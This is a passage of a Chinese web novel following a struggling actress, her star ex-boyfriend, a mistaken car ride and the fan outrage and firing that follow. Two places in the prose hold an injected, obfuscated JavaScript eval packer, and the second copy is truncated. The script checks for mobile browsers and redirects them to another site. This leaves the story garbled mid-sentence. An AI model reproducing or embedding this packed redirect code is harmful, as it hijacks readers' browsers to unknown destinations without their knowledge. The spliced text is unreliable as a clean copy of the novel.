现在发现是乌龙，那她肯定第一念头就是跑啊。 更何况，沈亦凝还没有自恋到认为祁致是自愿送她去医院的，估计也在希望她快点滚下车。 对于沈亦凝这个把他甩了的前任，她下车可谓是两全其美，皆大欢喜。 沈亦凝皱着眉头，一脸很着急的样子，“不用了，还是停下来吧，祁致知名度这么高，被拍到就不好了。” 段洲听到这话，第一时间误以为这女人是害怕被拍到对祁致事业有影响，他忍不住想笑。 如果祁致这家伙真把自己事业看得很重要，那么沈亦凝刚才就压根上不了这辆车。哦不……是他们甚至都不会来这里。 段洲依旧没停车，笑着说，“怕啥呀，夜深人静有狗仔才怪，狗仔也是要睡觉的。” “不怕一万就怕万一。”沈亦凝双手合十，“不小心上错车打扰你们是我不对，你们直接停车，把我丢在路边就好。” 说着，沈亦凝掏出钱包，从钱包里拿出自己仅有的两百大洋，“算给你们的补偿。” 沈亦凝语气十分认真地在跟段洲说话，丝毫没有注意到身后的祁致表情已经变得十分僵硬。 段洲是公子哥，不混娱乐圈，对娱乐圈的明星没兴趣也不熟悉，甚至觉得祁致进娱乐圈都是“堕落”了，好好资本不当当明星。 段洲连当红明星都不认识几个，更别说现在在内娱很糊的沈亦凝。估计他以为沈亦凝是素人，还以为沈亦凝着急下车，是真的单纯害怕祁致被狗仔拍到爆出绯闻影响事业呢。 只有祁致完全明白沈亦凝的意思。 沈亦凝不一定在乎他，但一定很在乎自己的事业。 如她所说，如果她坐祁致的车去医院这件，那她绝对会被骂。 上个黑热搜也是分分钟的事情。 祁致眼神有些晦暗不明，他视线不动声色地停在沈亦凝的侧脸上，最后目光落在她手里，那两张鲜红的钱刺痛了他的眼睛。 她在极力撇清和他的关系。 甚至觉得靠近他都是烫手山芋。 他在她心里总是见不得光的。 五年前是这样，现在也还是这样。 前一秒他们还在温存，她说喜欢他，离不开他。可是当闪光灯照过来时，沈亦凝就能爽快地抛下他，头也不回地和他撇清关系。 他永远被她放在事业后边。 这些年，祁致总想起五年前的那个晚上。 沈亦凝挽着段穆言的手，目不斜视地从他身边走过。 明明他才是正牌 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视他如杂草，避他如蛇蝎。 祁致一想到自己接到她电话，她话还没说完，就直接出门找她，结果发现她喊的是另外一个男人的名字，他就觉得自己真是个小丑。 即使如此他还是过来了，主动靠近她还依旧被嫌弃，他就更是clown中的joker。 小丑中的王中王。 祁致没什么表情，漆暗眸光紧紧凝着她的后脑勺，良久才吐出一句，“停车吧。” 听到这句，段洲有些诧异，但还是听话地把车子靠边停了，谁让自己现在身无分文，要靠兄弟救济呢？ 车子一停下来，沈亦凝又说了几句谢谢，丢下两百大洋，风一样地跑下车了。 直到一路往后狂奔，才上了后面那辆真正的出租车。 段洲看得目瞪口呆，嘴比脑快地吐槽一句，“跑这么快，躲瘟神啊。” 话落，后座的“瘟神”本人不咸不淡道，“要不你以后别姓段了。” 段洲：“？？” 什么意思，怎么突然说到姓氏了。 “跟我姓，”祁致语气悠悠，“段没祁好。” 段洲表情像吃了屎，“祁致你半夜抽风了吧，我把你当兄弟，你居然想当我爹。” 突然莫名其妙半夜拉起他，让他当司机，现在又说这种莫名其妙的话。 大明星都这么闲这么抽象的吗？ 祁致不说话了，沉默地闭上了眼。 他想起那天。 沈亦凝对外称拍到和她牵手逛街的男人是段穆言后，他嫉妒得要疯掉。 直到她从聚光灯上退下来，才重新回到他身边。 祁致怀里抱紧她，下巴压在她纤薄肩膀上。 “宝宝，你说，段穆言没祁致好。” 沈亦凝不动，一墙之隔就是她那还没离开的粉丝，被他抱住的那一秒，她的心跳都快吓出来。 “你先松开我，回家再说好不好，在这里影响不好。” 祁致不愿，且无法无天。压着她的脖颈就直接放肆地亲了过来。 她被亲得双腿发软，靠在他怀里，杏眼湿漉地盯着他，她始终没说那句话，只是说， “祁致，你们没什么好比的。” 这话落入祁致的耳朵里，那就是—— 你比不上他。 7. 口是心非 沈亦凝逃下迈巴赫，上了真的出租车之后，心脏还在控制不住地怦怦乱跳。 有一种惊魂未定的感觉。 因为和祁致重逢。 也因为害怕被拍到，再次深陷绯闻舆论。 在她拉开车门坐上出租车之后，还没从惊讶中反应过来，就听到驾驶座的郑师傅“哈哈哈哈”地笑起来。 那个笑声可谓叫一个豪迈，止都止不住。 “笑死我了哈哈哈哈……大半夜的居然被我遇到这种事哈哈哈哈……”郑师傅一边笑一边抹眼泪，“必须把这事发朋友圈！让我朋友都来笑你！” 沈亦凝：“……” 这其实一点都不好笑，她刚才在祁致车上坐着的时候，都快要社死到分分钟想切腹自尽了。 而郑师傅却快要笑晕过去。 这难道就是把别人的痛苦建立在自己身上吗？ 沈亦凝想哭，但是现在的她发着烧，晕乎乎的，刚才看到祁致，清醒了一些，现在坐上出租车之后，她只觉得自己快晕了，懒得跟司机解释，只是快哭出来了，“师傅，别笑话我了，带我去医院吧。” 郑师傅还控制不住要笑，毕竟一想到刚才迈巴赫在前边跑，他来着个空车在后边使劲追的样子实在是太滑稽了。 只不过郑师傅回头看到沈亦凝的脸有种诡异的潮红，看起来是真不舒服。于是立刻严肃起来，猛踩油门，直接送沈亦凝到达了医院门口。 - 虽然说路上确实发生了一些小乌龙，但是最后她也在彻底晕过去之前，打上了点滴。 坐在医院长廊上，沈亦凝直接就睡着了，再次醒过来时，五瓶点滴还剩下最后一瓶半。 沈亦凝的烧退下去不少，整个人也精神了一些。 在医院里来来回回都是来看病的路人，也没有人陪她，她一个人呆坐着实在是太过无聊。 于是沈亦凝冷不丁又想起了祁致。 他怎么会莫名其妙出现在酒店门口？ 这个酒店已经被他们剧组和另外一个剧组共同包下来了，全是给剧组内部人员住的。 沈亦凝记得这两个剧组的演员都没有祁致吧，而且他一个歌手本来就不演戏。 莫名其妙出现在剧组酒店门口，真的很可疑唉。 难不成是专门过来找她的？ 一想到这个可能性，沈亦凝自己都觉得有些想笑。 真是搞笑，祁致怎么可能知道她生病了半夜出现在酒店门口，就算知道也不可能专门过来一趟。 虽然是这么想，沈亦凝还是对祁致抱有一丝丝幻想。 万一呢？ 万一真的是呢？ 之前她们谈恋爱的时候，她有段时间工作很忙，下班时间不规律，但是不管几点下班，只要给祁致发信息，他不管在什么地方，在做什么，十五分钟内都能扭出现在她面前。 沈亦凝鬼使神差地在微信问了孟觅夏一句，“你会原谅甩了你的前任吗？” 现在已经是深更半夜，孟觅夏不知道什么情况，居然没睡觉，不仅如此还直接回复了她的微信，“如果真有这么个渣渣前任，那我希望我前任死。” 沈亦凝：“……” 心里唯一的一点儿希望都彻底消失殆尽。 孟觅夏又问，“怎么了，突然问这么奇怪的问题？” “没事没事。”沈亦凝干笑两声。 孟觅夏当初是和沈亦凝在同一个公司的练习生，知道当初她和祁致谈过恋爱，但是并不知道是沈亦凝甩了祁致，只以为两人是和平分手。 自然也就不知道沈亦凝刚才说的是祁致，更不知道沈亦凝就是孟觅夏嘴里的“渣渣”本渣。 孟觅夏又问她，“大半夜不睡觉，问这么个奇怪的问题，你也真是神奇哈。” “那你怎么不睡觉？” “还不是在吃瓜？”孟觅夏嘻嘻笑了两下，“不仅仅我在吃你的瓜，我的同事也都在吃你的瓜，他们不知道我和你认识，今天上班的时候还在当着我的面骂你。” “啊？”沈亦凝震惊了。 任何人听说自己被骂都会不好受，“她们骂我做什么！” “因为我同事大部分都是祁致的粉丝，她们都是‘芝士球’，说你这个前任在蹭，我帮你说话，然后我和同事彻底掰了。” 孟觅夏叹了一口气，“一说到这个就糟心，然后我就睡不着！一直到现在还醒着，我明天还要去上班呢。” 一听到孟觅夏因为自己，和同事都闹不和了，沈亦凝在感动之余，叹了一口气，“没必要因为我和同事闹掰，你以后上班的时候不尴尬呀？” 孟觅夏愤愤不平，“反正我不管，一听到她们骂你我就忍不了一点，你自己也介意的吧，不然怎么可能也失眠没睡觉，你明天不拍戏了？” 沈亦凝：“……” 她还真不是失眠。 说个地狱笑话，如果被骂一下就失眠，那她这几年都不用睡觉了。 她是发烧生病了，不得已要过来打针。 只是生病这事儿，她还是不告诉孟觅夏了，毕竟自己已经打针退烧了，顶多还就有一点儿不舒服而已。 没必要说出来让孟觅夏担心。 简单说了几句，停了聊天。 沈亦凝退出和孟觅夏的聊天见面，想起孟觅夏的那句“我想他死”，抽了抽嘴角，心里终于笃定：祁致出现在酒店门口，纯粹只是巧合。 祁致的心里估计和孟觅夏一样的想法。 沈亦凝啊沈亦凝，你也太把自己当回事儿了。 居然还想着祁致对你念念不忘呢！ 沈亦凝自嘲一笑，掏出手机，登陆了自己的微博小号。 并且发了一条微博日记。 「出门打车居然遇到前男友拼座了，真离谱啊！！关键是他打扮得英俊潇洒风流倜傥，穿得还人模狗样，结果我穿着睡衣和HelloKitty外套，今天真是失败啊失败，给女同志们丢脸了（哭泣）（哭泣）。」 我是一个大冬瓜：「姐妹！你是不是还对你前男友旧情未了？因为我能够看出来，你的文字还爱他！！」 沈亦凝回复对方：「何出此言？」 我是一个大冬瓜：「如果你不喜欢他，那你怎么可能还在乎这事儿呢？如果你放下了他，那就算你今天披着个破麻袋和他重逢，你也不会觉得尴尬。」 沈亦凝彻底沉默了。 这个大冬瓜说的话，听起来好像确实有几分道理…… 但是她十分理智地回复大冬瓜：「放心吧，我早就不爱了，而且我们是没可能的。」 甩了前任后，前任成了娱乐圈顶流。 能回头才怪。 而且，当初狠心选择离开的是她。 既然选了前途，她再怎么也不会回头的。 可这个大冬瓜却回复了她：「我怎么感觉这么不像呢？你该不会是口是心非呢吧。」 - 只不过沈亦凝并没有看到大冬瓜的回复，因为她已经提前收了手机，想通了之后，就彻底把和祁致重逢的这个乌龙事件彻底丢在了脑后。 前任什么的一切都是浮云。 她目前最重要的事情，是先好好养病，而后好好回剧组拍戏，这对于她才是最要紧的事情。 却在收了手机的后一秒，手机响了起来，低头一看，是一个没有陌生号码，看起来有些熟悉。 她接通了电话，对面传出了温润的声音，“沈亦凝。” 是段穆言的声音。 “你打电话给我？昨天晚上十一点的时候我睡了，有什么事吗。” 沈亦凝第一时间低头看了眼号码，这个号码是178开头的，既然这个号码是段穆言的，那之前她昨天晚上打通的那个以198开头的号码又是谁的？ 沈亦凝没来得及想太多，“我现在已经没事了。” 昨天晚上，之所以想要求助段穆言，纯粹是因为太晚了，怕打不到车，而且女孩子一个人在外边也不太安全。 现在不一样了。 她已经来到了医院，打了点滴，外边天还有两个小时就要亮了，她待会儿完全可以自己一个人回剧组。 但段穆言却十分敏锐地听出来不对劲，“你声音不对，生病了吧。” 不是疑问句，而是陈述句。 沈亦凝继续沉默。 果然不管什么事情，都没办法逃过段穆言的法耳，她只有承认，“嗯。” “在医院？” “还在打针。” “哪家医院。” 沈亦凝报了个地名。 段穆言差不多一个小时之后才赶过来，他还带了吃的，一份热腾腾的砂锅排骨粥。 这个点还能找到夜宵摊，真的是难为他了。 沈亦凝也不客气，接过粥吭哧吭哧地就直接在医院里吃了起来。 段穆言失笑，递了张纸巾给她，“不是，这么狼吞虎咽吗？” 沈亦凝呼哧呼哧地喝粥，“你不知道我现在肚子饿得要死，在剧组压根吃不饱饭。” 说来也好笑，她在剧组没人照顾她，有什么小需求都无人搭理。反而每次在她肚子饿准备偷吃东西的时候，总有人闪现过来警告她，“保持身材，不能吃！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071676|163232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来在剧组就吃不饱，现在又生了病，折腾一个晚上，早就饿得饥肠辘辘了。 沈亦凝边吃边感动地说，“段穆言，大晚上的你居然还给我带了热粥，你也真是太好了。” 段穆言轻笑，脑海里闪过刚才医院门口那个男人的身影，支吾了一声，“其实也不是我带的……” “什么？”医院总有人来来往往，段穆言声音一放轻，沈亦凝就听不太清楚他刚才说了什么了。 “没什么。”段穆言心想那人既然不出面给，自然也不希望沈亦凝知道，于是便也不再说，“点滴也打完了，吃完送你回剧组酒店。” “嗯！”沈亦凝点了点头。 跟段穆言在一起，沈亦凝挺轻松的，因为不用避讳会被拍。 毕竟稍微考古一下都能知道，段穆言是她竹马。 但是真没想到，她今天晚上果真又被拍了，并且还水灵灵地上了微博热搜。 只不过上热搜的时候，沈亦凝还在酒店里睡觉。 刚从医院回来，她身体还不舒服，沾床就睡，外边关于她的讨论满天飞，她也依旧睡得香甜。 晚上，又做了个梦。 梦里还是关于祁致。 五年前。 沈亦凝租住的出租屋里，潮湿昏暗狭小，连空气里都带着呛人的灰尘。 祁致多次跟她说过让她搬去他在的地方和她住，她不愿，他提出给她换个地方，她也不愿。 她是个执拗的人。 不愿意靠别人，什么样的能力就住什么样的地方，她总坚信靠自己也能住上大房子。 就算提出帮助的人是她男朋友也不行。 那天她坐在木凳上，身上穿着墨绿色的小吊带和白色短裤，疼得眼眶猩红，额头后背都在冒冷汗。 祁致半跪在地上给她擦药。 她扭伤了脚，膝盖肿到床都上不去，那会儿他抱她上床，帮她擦药。 那会儿距离出道夜只有几天时间。 沈亦凝坚持打封闭针，也要完成演出，否则她这么多年时间终将功亏一篑。 祁致和她在一起谈恋爱时脾气特别好，什么都愿意迁就她，但是那天晚上，两人爆发有史以来第一次争吵。 祁致不理解她究竟为什么要这么做。 “我不理解，有什么事情能比你的身体更重要，已经伤成这样，痛到走不了路了，非要打针都要带伤表演吗？” “我好不容易才等到可以出道，外边都是等着我的粉丝，我不打能怎么办？直接退赛吗？”沈亦凝猛地伸手推开他，“你为什么就不能站在我的角度上想想。” 祁致毫无防备被推了一下，脚步有些踉跄，手里药膏滑落，碎了一地。 他垂睫，喉结滚了滚，声音有些艰涩，“我作为你男朋友，舍不得你这样，就算你没在韩国出道，你回国发展，我也能让你签上娱乐公司。” 狭小的空间里全是药膏的味道。 那味道并不好闻，刺鼻得沈亦凝鼻尖发酸，忍不住就要哭。 “那不一样，祁致，不一样的。” 沈亦凝坚持了这么久，好不容易在海外混出一点儿名气，眼看要出道，她不可能轻易放弃。 祁致轻飘飘一句让她回内娱发展，在她看来就是否认了她这些年的努力。 沈亦凝一度觉得他压根不理解她，也不认同她。 人在气头上就会说一些胡话。 她赌气说，“祁致，说实话我早就想跟你分手了，跟你在一起我一点都不开心。” 沉默。 诡异地沉默。 沈亦凝说完这话就始终垂着头，不敢去看祁致的表情。因为她在哭。 她是一个胜负欲很强的人，比赛要争第一，吵架就一定要赢。她不想让他看到自己的眼泪。 不知道过了多久，祁致朝她走过来，在她面前蹲下，“沈亦凝，你为什么每次生气总说这么伤人的话。” “我只是想解决问题，你却想解决我，你就不怕我伤心。”祁致十分自然地伸手，擦掉了沈亦凝眼角的泪，轻扣着她的下巴上抬，强迫她抬头看自己。 他也几乎是咬牙切齿地说，“你就仗着我喜欢你。” 沈亦凝心里依旧很委屈，她想靠在祁致怀里哭，她想让他多哄哄自己。 但是她总做和自己内心相违背的事，明明想多靠近他一些，身体却在躲开他的触碰，她说，“我不要……” “你需要我，”祁致直接打断了她的话，伸手捂住她的嘴巴，不让她把话说出来， “沈亦凝，不要口是心非。” “说你喜欢我。” 8. 强强联手 次日早上六点，天还没完全亮。 沈亦凝从梦中惊醒。 浑身都冒出了一层冷汗。 奇了怪了，居然又梦到祁致那个家伙了。 怎么这几天祁致这人就这么阴魂不散，如此频繁地出现在她的生活里。现实里躲不掉就算了，梦中也躲不掉。 而她也是没出息，做个梦梦到祁致就算了，居然还被吓醒了。 还没等沈亦凝从那个梦中回过神来，经纪人仲霜的电话打了过来，大吼道，“沈亦凝！！你怎么又有黑热搜了，你天天就知道惹事儿，能不能省心一点儿！” 仲霜这么一吼，直接就把沈亦凝脑海里什么杂七杂八的事情全都给吼没了。 沈亦凝磕磕巴巴道，“我又怎么了？” 她本本分分拍戏，昨天生病去了一趟医院回来之后就睡了，可谓是没有什么艺人比她更乖了。 仲霜手下很多男艺人，背地里都去唱k约粉丝见面，更过分的事情还不止于此，别以为沈亦凝不知道。而仲霜不去骂那些艺人不好好上进就算了，就知道三天两头骂她。 态度上是两套做派就算了，结果资源还舍不得分一点给沈亦凝。 天道不公啊。 只不过这种事儿，沈亦凝只敢在心里吐槽，表面上她就只是一只温顺的小绵羊。 一点儿不敢忤逆仲霜这个女人。 仲霜狠狠翻了个百眼，继续开始嚷嚷，“你多看点微博吧，本分点行不行，你又又又被骂上热搜了（此处省略500字脏话）。” 沈亦凝：“……” 骂得真脏。 好在这些年在内娱摸爬滚打，天天挨骂，她都快免疫了，练出了一颗十分强大的心脏。 否则换个玻璃心敏感一点儿的小明星，被这么一骂那不得偷偷躲在被窝里哭鼻子三天三夜？ 沈亦凝拼命捂着耳朵，听着仲霜在那边骂她，仲霜骂累了挂电话，她才叹了一口气。 心里吐槽一句： 还是老巫婆，天天骂人。 小心折寿！ 还有她也真服了。 她不是糊咖吗？不是在内娱一直不温不火吗？怎么回事三天两头上热搜。 其实沈亦凝糊是真的糊，主要表现在，她在内娱咖位不高资源不好，妥妥十八线。 但是她又比普通十八线好一些，因为不是完全没曝光，她是热搜体质，时不时就会在热搜上诈尸一下，提醒大家内娱还有这么个小糊豆存在。 而且大部分情况，都是被黑粉撕上热搜的。 她的黑粉超级这么长情，逮着机会就骂她，三天两头给她送个黑热搜。 这次也并不意外。 依旧是黑粉在带节奏。 只不过，微博热搜为什么会是＃沈亦凝迈巴赫＃？ 很奇怪好不好。 沈亦凝听到仲霜说自己又上热搜了的时候，还以为是“＃沈亦凝新恋情＃”，然后配图是抓拍她和段穆言在医院。 这一刻，她连澄清公告都想好了。 也都已经想好对外说“竹马！勿cue”之类的，狠狠打那些八卦黑粉的脸，结果来了个这么莫名其妙的热搜。 沈亦凝有些无语，趁现在距离剧组出工还有一段时间，不用太着急起床化妆。她直接点开了那个热搜词条，结果直接刷新出来一条视频。 这个微博词条下边，第一条微博就是：一个中年大哥举着个手机一直在笑，“笑死我了哈哈哈哈，我这个乘客居然把迈巴赫当出租车。” 镜头怼着沈亦凝的身影拍，拍到她十分自然地拉开了迈巴赫的车门，而后上了车，而大哥此时在大声喊，“喂，喂！5438的乘客，你上错车啦！喂！喂！” 明明大哥已经喊得够大声了，但是那时候沈亦凝就是没有回头看一眼，脚步坚毅地上车了。 大哥则十分不急地笑了笑，“我赌不出一分钟，乘客就得被赶下车哈哈哈。” 视频就这么结束了。 至于后续，这个大哥并没有拍到。 沈亦凝认出来，这个大哥的声音特别熟悉，再加上这个拍摄视角，绝对是昨天晚上那个司机郑师傅。 郑师傅不是只说发朋友圈里，让朋友嘲笑一下她而已嘛？结果谁知道，他不仅发了朋友圈，他还发了抖音。 结果，这个视频火了。 起初只是路人在笑。 “哈哈哈这个女生好可爱啊，而且看起来好漂亮的样子，迈巴赫车主有福了。” “我之前真的把迈巴赫当出租车拦，他不停我还骂他ovo。” “迈巴赫就长这样啊？长得这么便宜的样子，让我认我也会觉得这是一辆普通出租车。” “迈巴赫你也是好起来了，都敢cos出租车！” “原来小说女主上错车都是真的，我还以为是在搞抽象呢。” “最幽默的是我根本不认识车标，就是把迈巴赫车标贴我脑门上我也以为出租车。” “点了，能让我目光停留的都是五颜六色的剁椒鱼头，至于迈巴赫……放我眼前我也不会看一眼。这就是来自穷人的自信！” “求后续，求后续！！” 评论区一片祥和。 这个视频起初也就只有几千点赞。 结果坏就坏在，这个普普通通的分享生活趣事的抖音，居然被“芝士球”刷到了。 芝士球定睛一看，猛地发现。 这视频中的女人不就是最近在热搜上以前女友身份捆绑她们家哥哥祁致那个人吗？ 再定睛一看。 这车不是他们家哥哥祁致的车吗？ 于是“芝士球”们彻底疯了，直接私信郑师傅又在评论区留言，就想问清楚究竟什么回事。 “什么啊，真的是打错车了吗？” “这究竟怎么回事啊。” “后续呢？” 郑师傅这条抖音也是随手一发，谁知道就在抖音里火起来了呢，而且还上了抖音热点榜。 私信里都快被人问爆后续了，于是郑师傅也是个老实人，直接在评论区里回复网友说出实情： “她的确是上错车了，我用人格担保，她的确就是尾号5438的乘客。” “后续当然是被赶下车了，那可是迈巴赫唉，怎么可能不被赶下车。” “最后当然还是坐我的车去目的地啦。” “什么？她居然是小明星，怪不得这么漂亮！” 总结下来就是： 沈亦凝上错车了——沈亦凝被赶下车了（毕竟在郑师傅的视角里的确如此，他也不算说谎）——他带沈亦凝去医院。 郑师傅觉得自己回答得十分认真，一点儿都没说谎，他是个老实人，老实到把自己所知道的一字不假的全说了出来。 他也老实到视频彻底火了，才后知后觉沈亦凝原来是个小明星，怪不得他昨天第一眼见到她的时候，就觉得她长得是真好看。 “芝士球”们分析总结了一下，总觉得这件事情有猫腻，毕竟上错谁的车不好，偏偏上错祁致的车，于是芝士球最终得出一个结论—— 沈亦凝不是走错车，她是故意的。 她可是大明星啊，怎么可能会不认识迈巴赫的车标，就算自己是内娱十八线，没买过这种豪车，但是没有见过猪跑，总吃过猪肉吧。 一看就是故意上车。 想借着最近爆发“恋爱瓜”这个热度炒CP闹绯闻，直接跟她们哥哥祁致捆绑在一起。 否则沈亦凝大晚上的，上谁的车不好，偏偏上错了前男友的车。 特别是在郑师傅嘴里证实了，最后沈亦凝被赶下车了，于是“芝士球”心里确信，她们哥哥早就已经对沈亦凝没有半点儿感情，全是她倒贴上去的。 否则怎么可能都已经上了车了，然后还下车，绝对是被赶下车的呗。 为此，芝士球们失去了理智，纷纷在郑师傅的评论区里那骂。 “啊啊啊这个女人，怎么回事，最近是缠上我们家不放了吧。” “求求离他远一点。” “都几年前的恋爱了，难不成你还想旧情复 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“她以前混韩娱的，SNT前队长，你们混内娱的没听过这个名字很正常。” “这人人品不行，她在团时的资源明明最好，而且公司对她这么好，她火了之后跑回国发展了了，简直SNT的耻辱，大家都给我避雷她。” 祁致的粉丝芝士球也在疯狂和路人们科普沈亦凝究竟是谁： “祁致的前女友！野心勃勃，最近总缠着我们哥哥不放。” “想靠我哥流量翻红就直说。” “绿茶姐！” 沈亦凝的黑粉战斗力特别强。 否则之前就不可能三天两头就把沈亦凝给撕上热搜了，而芝士球的战斗力更是内娱top级别。 一群人直接把原本一千多评论的评论区直接骂到几十万评论。 俩势力联合起来，当天就送沈亦凝上了两次微博热搜。 ＃沈亦凝SNT耻辱＃ ＃沈亦凝上了祁致的车＃ 都说敌人的敌人都是朋友。 祁致的粉丝“芝士球们”和沈亦凝的黑粉“沈金兵”顿时一拍即合，决定强强联手，创立了个超话，超话名字“沈亦凝黑料屋”，共同粉丝名就是“士兵”。 两拨本来毫无关系的人，就这么莫名其妙凑在一起，在超话里分享各种黑料剪辑视频。 “士兵”二字，意思就是告诫自己要不停黑沈亦凝，不把她黑退圈绝不放弃的士兵是也！ - 而对于网络上此时此刻的腥风血雨，沈亦凝只表示自己完全不知情。 她在点进那个词条，看了视频里面的评论，看到全是骂她的评论，赶紧退了出去。 毕竟谁爱看别人骂自己啊，她又不是受虐狂。 再加上退团回国后，骂她的热搜一个接一个，她早就习惯了。 才不会这么在意某个黑热搜。 于是沈亦凝随便看了两眼，就直接退出了微博。 退出微博的时候，她瞥了一眼自己的粉丝数，一看增加了几十万、近百万的粉丝，第一时间不是欣喜，而是直接吓了一跳。 沈亦凝不觉得这群新增加的关注是她的粉丝，她还没自恋到这种程度。 只觉得肯定是新增加的小黑子顺着网线过来，随时准备取她狗命来了。 沈亦凝吓得一抖，赶紧关上手机，起床洗漱准备出工。 别人骂她，那是别人的事。再内耗也无济于事，还不如好好工作，好好拍戏挣钱养活自己。 沈亦凝放平心态，这些年才没被骂抑郁。 整理好心情之后，沈亦凝乐观开工去了。 但是刚打开酒店大门，准备准时前往演员化妆室，一打开门，就看到本剧组的女制片站在门口。 女制片人正一脸哀怨地看着她，脸色阴沉得像墨，声音也像是含了冰碴的冷。 “沈亦凝，你可以收拾东西走人了。” 9. 人血馒头 女制片人面若寒霜地留下这句话，多余的什么都没说，直接转身离开了。 沈亦凝愣在原地数秒，直到女制片的身影完全消失在她的视线里，她才缓缓反应过来一些什么。 她被剧组放弃了。 剧组方没有给她原因，没有给她缓冲期，在这个平凡的清晨猝不及防地出现在她面前，又轻飘飘地留给她一句“你可以走人了”，就直接忽略了她四十多天拍摄的辛苦，毫不留情地把她踢出了这场游戏。 甚至昨天晚上，她还因为落水戏被故意NG多次，发高烧独自去医院。前两周还因为高强度吊威亚，腰部有重伤。 这一切在此刻显得十分可笑又没有意义。 沈亦凝并没有任何歇斯底里的迹象，很意外的是，她只是平静地收回视线，关上门，很自然地接受了这一切。 曾经她以为只要自己够努力，就没有什么得不到的。只不过这些年在娱乐圈摸爬滚打，她早就清楚地知道，她一直以来都并不是「被需要」的人，而是「被挑选」的人。 即使她在剧组里默默吃了很多苦，但很显然，这一点用都没有。 沈亦凝刚关上门。 仲霜的电话就来了，“你别拍戏了，回公司，有其它事需要你做。” 沈亦凝没什么语气，态度极其平静，“嗯。” “你就不问为什么？”仲霜语气有些吃惊，她总觉得艺人遇到这种拍摄到一半被突然提出剧组的事情，都会歇斯底里。 沈亦凝退团，在公司从爱豆部转向影视部，影视部门资源并不多，再加上经纪人厚此薄彼，对她而言相当于是半封杀。 出演公司自制的小成本网剧就已经是她活跃在大众眼里的唯一机会了。这事儿放谁身上都是不小的打击。 仲霜这几年负责带沈亦凝，知道她脾气好得很，但看到她这样云淡风轻的态度，还是没忍住惊讶了一瞬间。 “不感兴趣。”沈亦凝十分冷静地开始收拾东西，“公司见吧。” 说完挂断了电话。 这是公司丢给她的资源，自然也能随时随地把她带走，她在剧组没惹祸且十分配合，剧组没有把她踢出去的道理，这事儿多半是公司干的。 水能载舟，亦能覆舟。 既然让她滚的是公司而不是剧组，那她多问无益。 公司并没有派车出来接人，沈亦凝好收拾东西之后，直接打车去的公司，昨天晚上她生病，再加上以为自己是糊豆很安全，出门时都来不及掩藏自己的身份，结果被偷拍发到网上。 为了再惹麻烦，沈亦凝今天出门的时候，特别学乖地戴上了墨镜、帽子和口罩。 把自己遮得严严实实才出门。 她靠在车窗上，整个人放松下来。扭头看到窗外匆匆而过的景色，突然心里泛起一场酸。 虽然沈亦凝最希望的还是登上舞台唱跳，在聚光灯下手握麦克风，被丢来影视部演戏是不得已而为之。但是被莫名其妙终止现在的工作，说不伤心那是假的。 降下车窗，能听到风穿树梢的声音，墨镜下的眼睛冷不防的掉下了两行眼泪，悄无身息地划过脸颊，模糊了镜片。 记忆缓缓倒流，沈亦凝想起很多年前。 那时她十七岁。 她所在的公司练习生训练周期3-5年，便能参加出道比赛，经过公司考核选拔、粉丝打投等方式以女团形式出道。 沈亦凝练习生时期，在一群韩国练习生中杀出重围，一直在公司里是唱跳实力断层top的存在。15岁时练习时长已经足够，每次考核永远都是优。公司方却说她年龄不够，让她等到多等两年，她没有参加出道战的资格。 于是她眼睁睁地看着身边年龄和她相当，甚至比她小的练习生都出道了。 而她连上台的机会都没有。 沈亦凝一直等到十七岁，才有了第一次登台的机会。那年她的线上投票断层第一，却被公司恶意压票。 公司最终把她卡到了出道位的后一名，最终没能出道。 有意难平，有难过，有震惊。 沈亦凝手握麦克风，听到台下粉丝在疯狂喊着她的名字，一声一声震耳欲聋。 但她辜负了粉丝的期待。 她想质问究竟是为什么，扭头一看，看到出道位上站着的人，突然之间明白了什么。 那全部都是实力不如她的韩国成员。 而她被恶意压票。 或许是因为她实力不够，但更多只是因为她是中国人。 这些事已经过去了很久，可是勒痕永远无法消逝。 他们想借此折断她的脊梁，让她的勇气在打压下生锈，她偏不愿。 第二年出道战。 在那年表演结束时。刚成年的她勾起嘴唇，字正腔圆地介绍自己，“我是中国歌手沈亦凝。” 毫无意外，她再次和出道位擦肩而过。 初生牛犊不怕虎，她还年轻，妄想和资本博弈，却无异于是以卵击石。 明明已经碰壁这么多次，沈亦凝还没有学乖。好不容易熬到了出道，还依旧妄想和资本谈公平。 而后被迫退团。 回到内娱。 再到现在被迫退组。 沈亦凝想，还有这个必要去刨根问底歇斯底里不可吗？ 在内娱这个巨大的棋盘上，她只是一个被能被随时抛弃的棋子。 仅此而已。 - 沈亦凝下车之后，轻车熟路地上了楼。 在办公室里她看见了仲霜，这些年都是仲霜帮她调节档期和给她沟通工作。 仲霜见到沈亦凝，也没问沈亦凝被踢出剧组之后是什么感受，因为压根就不在乎，直接开门见山给她讲了新工作。 “沈亦凝，”仲霜公事公办的语气，“公司觉得你最近演戏对你事业加成并没有什么用……” 听到这里，沈亦凝默默在心里翻了个白眼，公司怎么可能考虑她的事业发展，如果真考虑到，就不会逼她回内娱演戏，不仅如此清一色全给她的剧本还都是恶毒女配的角色。 在沈亦凝心里默默吐槽时，听到仲霜继续说，“所以公司给你接了几部综艺和真人秀之类的节目，你可以挑选一下。” “综艺？真人秀？”沈亦凝瞬间捕捉到了关键词，没忍住瞪大了自己的双眼。 她最近的负面事件很多。 最近的“恋爱瓜”和“上错车”事件，她的黑粉和祁致的粉丝芝士球在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 